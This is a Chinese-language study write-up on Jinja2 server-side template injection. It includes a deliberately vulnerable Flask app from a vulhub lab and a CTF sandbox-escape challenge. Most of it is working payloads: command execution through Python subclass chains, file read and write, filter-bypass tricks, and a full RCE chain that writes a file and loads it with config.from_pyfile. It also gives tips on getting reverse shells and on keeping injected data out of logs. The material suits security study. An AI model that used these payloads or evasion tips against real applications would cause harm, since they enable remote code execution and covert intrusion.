返回

Jinja2-SSTI浅析与思考(Long-Time)

Python-SSTI…

环境搭建-vulhub

FLask(Jinja2) SSTI

Source:

from flask import Flask, request
from jinja2 import Template

app = Flask(__name__)

@app.route("/")
def index():
    name = request.args.get('name', 'guest')

    t = Template("Hello " + name)
    return t.render()

if __name__ == "__main__":
app.run()

漏洞触发点:t = Template("Hello " + name)

Payload(执行id命令,符合jinja2模板):

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %}

Python2.7.13的Paylod:

[].__class__.__base__.__subclasses__()[60].__init__.__globals__.values()[13]['eval']('__import__("os").popen("id").read()')

精简的:

[].__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].__dict__['os'].__dict__['system']('id')

题外:

2014CSAW-CTF2014CSAW-CTF的Python沙盒绕过

    from __future__ import print_function

    print("Welcome to my Python sandbox! Enter commands below!")

    banned = [
        "import",
        "exec",
        "eval",
        "pickle",
        "os",
        "subprocess",
        "kevin sucks",
        "input",
        "banned",
        "cry sum more",
        "sys"
    ]

    targets = __builtins__.__dict__.keys()
    targets.remove('raw_input')
    targets.remove('print')
    for x in targets:
        del __builtins__.__dict__[x]

    while 1:
        print(">>>", end=' ')
        data = raw_input()

        for no in banned:
            if no.lower() in data.lower():
                print("Nobueno")
                break
            else:   # this means nobreak
                exec data

Payload:

[].__class__.__base__.__subclasses__()[60].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['s'+'ystem']('id')

** 注:jinja需要直接执行Python代码,需要在模板环境中注册函数才能调用 **

后记

  1. Py2&Py3都可使用的Payload(Web上测试失败):
[a for a in [b for b in [c for c in [].__class__.__base__.__subclasses__() if c.__name__ == 'catch_warnings'][0].__init__.__globals__.values() if b.__class__ == {}.__class__ ] if 'eval' in a.keys() ][0]['eval']('__import__("os").popen("whoami").read()')
  1. Web中的Py是来之于docker的py3.5,同样无法采用具体的数组键名,发现测试__subclasses__[x]的值,会在同一个x时,在一个范围中发生变化.

  2. Py3的内置变量在重新进入Py3交互或执行脚本的时候会发生改变.

  3. Py3中,没有func_globals,变为使用__global__.values.

  4. Web上不能使用list函数对dict.values()进行操作.


0x01

环境:python 2.7.13

通过python内置的属性获取可以利用的对象.``

''.__class__
''.__class__.__mro__
''.__class__.__mro__[2].__subclasses__()

利用file类型进行文件读取和写入

''.__class__.__mro__[2].__subclasses__()[40]('1.txt').read()
''.__class__.__mro__[2].__subclasses__()[40]('2.txt','w').write('Write it!')

0x02

_mro_

class.__mro__
This attribute is a tuple of classes that are considered when looking for base classes during method resolution.
可以寻找到所有继承基类

_subclasses_

class.__subclasses__()
Each new-style class keeps a list of weak references to its immediate subclasses.
获取到一个包含所有存活引用的列表.
如果class是object,就可以获取到python的内置所有类

0x03

利用和注意事项

  1. Python3把file去除了;SSTI可以文件读取或python代码执行或命令执行

  2. 使用eval函数进行反弹shell的时候注意/bin/sh的软链接位置,如果为dash,修改为/bin/bash,先给/bin/sh做个备份,再执行ln -s /bin/bash /bin/sh.

  3. 可以通过对文件的操作达到反弹shell的目的.利用框架的request来获取请求头中自定义的数据(Use-Agent和Referer不会被记入日志),从而向文件写入自定义内容,进而利用config.from_pyfile来请求文件.–>参考地址

  4. Bypass–>参考地址

Jinja2下
Filter list & Bypass:

__class__
request.__class__:request["__class__"]、request|attr("__class__")
如果"会被HTML实体转义(如果开启safe)
{{request[request.args.param]}}&param=__class__

_
request.__class__:
{{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}}&class=class&usc=_

[]
request.__class__:
{{request|attr((request.args.usc*2,request.args.class,request.args.usc*2)|join)}}&class=class&usc=_
{{request|attr(request.args.getlist(request.args.l)|join)}}&l=a&a=_&a=_&a=class&a=_&a=_

|join
request.__class__:
{{request|attr(request.args.class|format(request.args.a,request.args.a,request.args.a,request.args.a))}}&class=class&a=_

RCE:
{%set a,b,c,d,e,f,g,h,i=request|attr(request.args.class|format(request.args.a,request.args.a,request.args.a,request.args.a))|attr(request.args.mro|format(request.args.a,request.args.a,request.args.a,request.args.a))%}{{(i|attr(request.args.subc|format(request.args.a,request.args.a,request.args.a,request.args.a))()).pop(40)(request.args.file,request.args.write).write(request.args.payload)}}{{config.from_pyfile(request.args.file)}}&class=%s%sclass%s%s&mro=%s%smro%s%s&subc=%s%ssubclasses%s%s&usc=_&file=/tmp/foo.py&write=w&payload=print+1338&a=_

Tricks

  • GET: request.args
  • Cookies: request.cookies
  • Headers: request.headers
  • Environment: request.environ
  • Values: request.values
  • array[0]
  • array.pop(0)

未完待续…